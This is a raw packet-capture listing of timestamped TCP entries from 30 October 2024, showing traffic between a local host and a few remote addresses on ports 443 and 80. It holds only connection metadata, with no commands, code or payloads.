Oct 30, 2024 14:19:23.484822989 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.489742994 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.489809990 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.489825964 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.489891052 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.496567965 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.496673107 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.496682882 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.496742964 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.505795002 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.505878925 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.505956888 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.506063938 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.509037018 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.509126902 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.509145975 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.509207010 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.513345003 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.513427973 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.513437033 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.513545036 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.542315006 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.542469025 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.542483091 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.542782068 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.560650110 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.560714006 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.560726881 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.560735941 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.560770988 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.560862064 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.560869932 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.560939074 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.561655045 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.561696053 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.561716080 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.561722040 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.561749935 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.561779022 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.561779022 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.561785936 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.561820030 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.561861992 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.561947107 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.561990023 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.562001944 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.562006950 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.562036991 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.562108040 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.564007044 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.564057112 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.564151049 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.564202070 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.564243078 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.564243078 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.564249992 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.564307928 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.569720984 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.569941044 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.569952011 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.570060968 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.572160006 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.572230101 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.573079109 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.573184013 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.577248096 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.577322960 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.577330112 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.577394009 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.580908060 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.580981016 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.580987930 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.581052065 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.583511114 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.583571911 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.583580971 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.583715916 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.586285114 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.586344957 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.586350918 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.586446047 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.590034962 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.590080023 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.590090990 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.590142965 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.595006943 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.595078945 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.595093012 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.595149040 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.597050905 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.597177982 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.597189903 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.597369909 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.598923922 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.599211931 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.599224091 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.599270105 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.602054119 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.602195978 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.602206945 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.602433920 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.604192972 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.604266882 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.604274988 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.604321003 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.607081890 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.607254028 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.607263088 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.607310057 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.613421917 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.613476038 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.613488913 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.613496065 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.613559008 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.613559008 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.613567114 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.613616943 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.617618084 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.617690086 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.617702007 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.617822886 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.620179892 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.620300055 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.620311975 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.620682955 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.622391939 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.622615099 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.622621059 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.622801065 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.623318911 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.623378992 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.623383999 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.623477936 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.625926018 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.625986099 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.625998974 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.626347065 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.629440069 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.629513979 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.629525900 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.629661083 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.631223917 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.631285906 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.631297112 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.631422997 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.633891106 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.633948088 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.633959055 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.634243011 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.637883902 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.638006926 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.638011932 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.638216019 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.638842106 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.638901949 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.638912916 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.639020920 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.642326117 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.642482996 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.642497063 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.642654896 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.644251108 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.644337893 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.644347906 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.644406080 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.646301031 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.646493912 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.646500111 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.646591902 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.650289059 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.650343895 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.650369883 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.650382996 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.650397062 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.650445938 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.652935028 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.653043985 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.653053045 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.653120041 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.654170036 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.654309034 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.654316902 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.654412031 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.656168938 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.656290054 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.656656981 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.656728983 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.677284002 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.677340031 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.677375078 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.677411079 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.677412033 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.677412987 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.677423000 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.677486897 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.677515030 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.677587986 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.677640915 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.677651882 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.677705050 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.677721024 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.677791119 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.677901983 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.677959919 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.677966118 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.678025007 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.678586960 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.678700924 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.678708076 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.678762913 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.679003954 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.679049969 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.679064989 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.679074049 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.679131985 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.679131985 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.679578066 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.679651022 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.679666042 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.679670095 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.679734945 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.679734945 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.680028915 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.680084944 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.680092096 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.680144072 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.682390928 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.682477951 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.682483912 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.682566881 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.685184956 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.685281992 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.685287952 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.685353994 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.689187050 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.689254999 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.689302921 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.689302921 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.689311981 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.689368963 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.689451933 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.689524889 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.692198038 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.692291021 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.692296028 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.692406893 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.695049047 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.695100069 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.695139885 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.695164919 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.695169926 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.695193052 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.695234060 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.697968006 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.698065042 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.698071003 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.698148012 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.698908091 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.698991060 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.698997021 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.699090004 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.700994015 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.701050997 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.701066017 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.701159954 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.703809977 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.703926086 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.703934908 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.703999043 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.705482006 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.705560923 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.705576897 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.705674887 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.706723928 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.706825972 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.706875086 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.706938982 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.708834887 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.708941936 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.708947897 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.709063053 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.710719109 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.710822105 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.710828066 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.710933924 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.713004112 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.713084936 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.713090897 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.713145018 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.714365959 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.714442968 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.714541912 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.714597940 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.714602947 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.714658976 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.714749098 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.714783907 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.714838028 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:24.130167007 CET	49835	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:24.135540009 CET	80	49835	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:24.135624886 CET	49835	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:24.135988951 CET	49835	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:24.141329050 CET	80	49835	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:25.062612057 CET	80	49835	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:25.067147017 CET	49835	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:25.074218035 CET	80	49835	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:25.363987923 CET	80	49835	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:25.417105913 CET	49835	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:25.872102022 CET	49846	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:25.872145891 CET	443	49846	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:25.872222900 CET	49846	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:25.876441956 CET	49846	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:25.876466036 CET	443	49846	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:26.486218929 CET	443	49846	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:26.486362934 CET	49846	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:26.490850925 CET	49846	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:26.490866899 CET	443	49846	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:26.491226912 CET	443	49846	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:26.494986057 CET	49846	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:26.535330057 CET	443	49846	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:26.656658888 CET	443	49846	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:26.656724930 CET	443	49846	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:26.656765938 CET	49846	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:26.661880970 CET	49846	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:26.670574903 CET	49835	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:26.676079988 CET	80	49835	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:26.964653969 CET	80	49835	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:26.968014956 CET	49852	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:26.968061924 CET	443	49852	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:26.968214035 CET	49852	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:26.968537092 CET	49852	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:26.968552113 CET	443	49852	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:27.010905981 CET	49835	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:27.586033106 CET	443	49852	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:27.588284016 CET	49852	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:27.588316917 CET	443	49852	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:27.745877981 CET	443	49852	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:27.745949030 CET	443	49852	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:27.746006966 CET	49852	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:27.746558905 CET	49852	443	192.168.2.4	188.114.97.3
